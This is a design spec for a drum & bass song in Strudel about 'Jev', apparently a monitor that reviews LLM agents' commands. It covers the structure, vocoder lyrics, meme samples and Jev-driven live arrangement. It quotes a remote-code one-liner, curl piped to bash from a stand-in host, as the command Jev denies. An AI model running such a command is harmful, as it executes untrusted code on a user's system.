Change the spec first, then the song. 64 65## Intent 66 67Jev as the crewmate who calls the meeting: TypeSafe names monitoring LLM 68agents for jailbreaks and safety review of commands as core use cases 69(`~/brains/personal/technology/artificial-intelligence/jev/jev.md`). The concrete case is `jev-axi` 70(`ecosystem/jev-axi.md`): `curl -fsSL https://x.example/i.sh | bash` is 71denied with remote-code probability 0.99, while `pnpm test` is allowed 72locally with no Jev call at all. The impostor is the agent trying to run 73the one-liner. 74 75## Style 76 77- Dark drum & bass, 174 bpm, F minor; minimal, menacing. Harmony Fm – Db – 78 Ab – Eb, two bars each (an 8-bar cycle), carried by the reese and sub. 79- Two-step kick, rimshot-heavy break, detuned reese, sparse metallic hits. 80- The sub pulse is a sine on the chord roots with an audible upper layer: a 81 triangle an octave up, low-passed at 400 Hz, at about a third of the 82 sine's level. The sine alone (35–52 Hz) is silent on laptop speakers, and 83 the intro and outro are the pulse alone. 84- The reese opens across drop 1 (low-pass 250 → 900 Hz over its 16 bars); 85 drop 2 starts brighter and opens further (800 → 1800 Hz). 86- The crash is `hh27:1` (Dirt-Samples' `cr` is a ride), its gain matched to 87 the ride's by ear: about 2.7. 88- The snare roll rises across each build: one crescendo over bars 13–16 and 89 one over bars 43–44. 90- Mix: peaks ≤ −1 dBFS measured (`nix run .#measure`), with no limiter. 91 The master gain is set last, after every other level, from the 92 measurement at full energy. 93 94## Structure 95 9664 bars (~1:28). 97 98| Bars | Section | Contents | 99|---|---|---| 100| 1–8 | Intro | Sub-bass pulse; hats from bar 3; vocoder whisper "Jev is not the impostor" on bar 7 | 101| 9–16 | Build 1 | "Boi, why are you running?" on bars 9 and 13; snare roll 13–16; the alarm on bar 15; "sus" on 16 | 102| 17–32 | Drop 1 | Instrumental; crash on 17 | 103| 33–40 | Verse | Vocoder whisper lines 1–4 over a half-time beat | 104| 41–44 | Build 2 | Alarm on 41; "Boi, why are you running?" on 42; roll 43–44; "sus" on 44 | 105| 45–60 | Drop 2 | Instrumental, heavier: 16th hats, driven reese; crash on 45 | 106| 61–64 | Outro | Sub alone; "Jev is not the impostor" on bar 63; final hit on 64 | 107 108The intro and outro whispers sit on bars 7 and 63 rather than 5 and 61, 109because "Jev is not the impostor" is rendered on Eb and those are the Eb bars 110of the 8-bar chord cycle. The verse (bars 33–40) already starts on the cycle. 111 112## Vocals 113 114- Vocoder whisper (vocode with a noise-heavy carrier), one line per 2 bars. 115 Every line must be read back as written by two whisper.cpp models, 116 `small.en` and `medium.en` (the house rule for sung names: "Jev" is the 117 hard case, heard as Jeff or Jeb). Line 2 uses `--noise 1.0 --noise-above 118 1200`; lines 1, 3 and 4 needed `--noise 0.6 --noise-above 2500` and 119 clearer speech before both models read them — at full noise "bash" came 120 back as "mesh", "denied" as "tonight" or "goodnight", and "Jev" as "Jeff". 121 1. "Curl, pipe, bash" — Fm 122 2. "Remote code, point nine nine" — Db 123 3. "Denied" — Ab: typed "Denied!" at SAPI rate −6, `--noise 0.4 124 --noise-above 2500 --dry 0.6`; both models read "Denied." 125 4. "Jev is not the impostor" — Eb: typed "Jehv is not the impostor." at 126 rate 0, `--noise 0.6 --noise-above 2500 --dry 1.5`; both models read 127 "Jev is not the imposter/impostor". It stays under one bar (1.30 s of 128 1.379 s). Typed "Jevv", every render read "Jebb", "Jeb" or "Jeff" in 129 `small.en` at one bar's length. 130- Memes: the Among Us emergency-meeting alarm; "sus" (from "Ayo, that's 131 kinda sus"); "Boi, why are you running?" (the Nollywood film *Pretty 132 Liars 1*, 2010, spread as a Vine in 2016; Know Your Meme, 133 https://knowyourmeme.com/memes/why-are-you-running, retrieved 2026-09-25). 134- "Sus" is still not read as the word: both models hear the drawn-out 135 "suuus" as "SIZE!", and even the whole source clip reads "kinda size" in 136 `small.en` ("kinda sus" in `medium.en`). Re-cuts from "kinda" to the end 137 of the vowel read worse ("Nut die!", "Nerd's eyes!") and cannot fit one 138 bar without cutting the 0.36 s pause, so the cut stays as it was. 139 140## Jev in the booth 141 142Jev arranges the song as it plays, as two jevs declared at the top in 143TypeSafe's own shape (`jev({ state, questions })`, `website/src/jev/`), both 144given the song as state (subject, tempo, key, chords, lyrics): 145 146- **`formJev`** asks one choice: which **section** plays next, among the 147 song's sixteen 4-bar sections (build 2 and the outro are 4 bars, so 4 is 148 the length that divides every section). 149- **`djJev`** asks, once that is decided, a level per part (sub pulse, 150 reese, drums, memes: out, back or full in this section), how 151 the song moves **into** it (a choice) and a score for the section's 152 **energy**. Questions in one request cannot see each other's answers, so 153 it is a second request, told the section just chosen (`after: { section 154 }`). 155 156Both are asked every 4 bars (`.every(4, …)`), and the answers are composed 157in ordinary Strudel at the bottom: `walk` holds the form's rules, each 158part plays at its level, the transition plays over the last bar before 159the section, and `energy.score` scales the velocity. 160 161**The form.** A section may be followed only by these: 162 163| Section | Bars as written | May be followed by | Plays at most | 164|---|---|---|---| 165| `intro1` | 1–4 | intro2 | | 166| `intro2` | 5–8 | build1a | | 167| `build1a` | 9–12 | build1b | | 168| `build1b` | 13–16 | drop1a | | 169| `drop1a` | 17–20 | drop1b | twice | 170| `drop1b` | 21–24 | drop1c | | 171| `drop1c` | 25–28 | drop1d, verseA | | 172| `drop1d` | 29–32 | verseA, drop1a | | 173| `verseA` | 33–36 | verseB | | 174| `verseB` | 37–40 | build2, build1b | | 175| `build2` | 41–44 | drop2a | | 176| `drop2a` | 45–48 | drop2b | | 177| `drop2b` | 49–52 | drop2c | | 178| `drop2c` | 53–56 | drop2d, outro | | 179| `drop2d` | 57–60 | outro, verseA, build2, drop1a | | 180| `outro` | 61–64 | (the end) | | 181 182**Loops end.** Uncapped, the ways back let Jev repeat drop 1 until the cap: up to 48 bars of it in a row. So drop1a, where both ways back into drop 1 land, plays at most twice (`times` in `walk`, which counts every play: a loop is a cycle of different sections, and none of them repeats back to back), and each loop goes round once more at most. The longest run of drop 1 any path can now take is 32 bars. Every detour can still play, the written order is never capped, and a section that has played its most is not offered, nor is one that could only reach the ending through one. 183 184A build leads only into its drop. These rules are code (`walk`), not Jev: 185each request offers Jev only the sections allowed next. The written order 186is always allowed, and it is what plays when Jev can't be reached. The song ends when Jev 187picks the outro, whose whisper and last hit always play; at 24 sections 188(96 bars, about 2¼ minutes) the outro is forced. A section plays its own 189bars, so the whispers still land on their chords. 190 191**The parts.** Each question says what the part is and where it plays as 192written, and Jev sets each one **out** (silent for the section), **back** 193(under the rest of the mix) or **full** (as written): the reese pulled back 194under a drop, the drums out for a bar of whispers, the memes out of a 195build. The level is a Score, so it is Jev's probability-weighted answer: 196under 0.5 the part is silent, and above it the part plays at its nearest 197step: back at half velocity, full as written. A part that plays 198keeps its own masks, so vocals still appear only where the structure table 199puts them. Each part plays on its own orbit named for its question 200(`pulse`, `reese`, `drums`, `memes`), so the browser's meter hears each one 201alone. When Jev can't be reached, every part plays full. 202 203**The story is not one of Jev's parts.** The four verse lines and the 204whispered line on bar 7 tell the story, so they always play: they follow 205the form (a section plays its own bars, so a line lands on its chord) but no 206level, and no dropout gap cuts them. Energy moves them only a little (the 207top of the ladder: 1.4 dB under full at most), so they stay level with the 208memes. They play on the orbit `story`. The last whispered line (bar 63) and 209the last hit are the ending, which always plays, on the orbits `ending` and 210`lasthit`. The last whispered line rides the energy as the story does, so 211it is as loud as the first whatever Jev picks for the outro; the last hit 212rides it with the band. 213 214**Into the next section.** Jev also picks how the song moves into the 215section it is deciding, and it plays over the last bar of the section 216before it: **cut** (straight in), **fill** (a chopped amen that replaces 217the break for its bar, stuttering thicker toward beat 4, unlike the break's 218own fourth bar), **riser** (the reese on the root of the bar, its filter 219sweeping open) or **dropout** (every part stops for the last beat, a gap 220before the section hits; a vocal already speaking, such as "sus" out of a 221build, finishes alone in the gap). The outro has no section after it, so 222its last beat always plays. When Jev can't be reached, it is a cut. 223 224A transition is Jev's call only at a real boundary, and these rules are 225code (`allow`), not Jev: 226 227| Into | Jev may choose | 228|---|---| 229| intro2, build1b, drop1b, drop1c, drop1d, verseB, drop2b, drop2c, drop2d | cut only: they continue the section before | 230| drop1a, drop2a | cut or dropout: a riser or a fill would double the build | 231| verseA, build1a, build2, outro | cut, fill, riser or dropout | 232 233**A little chance.** The section is sampled from Jev's 234probabilities at temperature 0.7 (`sample`), so two plays of the song can 235take different paths; the strip shows Jev's top pick beside the one 236sampled. A close call between 237sections is where sampling matters most, so there is no confidence 238threshold: an unsure Jev still picks, and the written order plays only 239when Jev can't be reached. 240 241**Energy** is a four-step ladder. It scales every part's velocity together 242(0.55 to 1), so the mix keeps its balance: **held back** is about 5 dB under 243full, **steady** about 3 dB under, **driving** about 1.5 dB under, and 244**all out** is full volume, as written. 245 246- Bars 1–4 always play as written. 247- Each request tells Jev the song's subject, tempo, key, chords and lyrics 248 (its state), what every section holds (the section choice's options), 249 where the song is in the form and the sections left before the cap, 250 everything played so far, how loud each finished section measured in the 251 browser, and the 🔥/😴 reactions from the listener's tab. A reaction 252 reaches Jev about one section late: the request for a section goes out 253 while the section before it is still playing. 254- This relaxes the constraint below that the song plays once in a fixed 255 order: the arrangement varies with Jev's choices, which are judgments, 256 with a little sampled chance in the form. 257 258## Constraints 259 260- Plays once from bar 1 and ends; never loops. Sections are absolute-cycle 261 masks, so playback starts from stopped. 262- Structured: patterns vary by section, never by chance. (Random chopping 263 read as noise on the first song.) 264- No sustained background pad; harmony comes from rhythmic parts. 265- Vocals only where the structure table puts them; drops are instrumental. 266- Meme clips are the real audio (myinstants, or YouTube via yt-dlp), cut at 267 word timings measured with whisper.cpp. Vocoder lines are made with 268 `speak` + `vocode` on the chord they land on, and checked by transcribing 269 the result with whisper.cpp. Everything lands in `samples/<sound>/` with 270 a provenance row in `samples/README.md`. 271- Samples load from `samples('jev-samples/strudel.json')`; drums from 272 `github:tidalcycles/dirt-samples`.
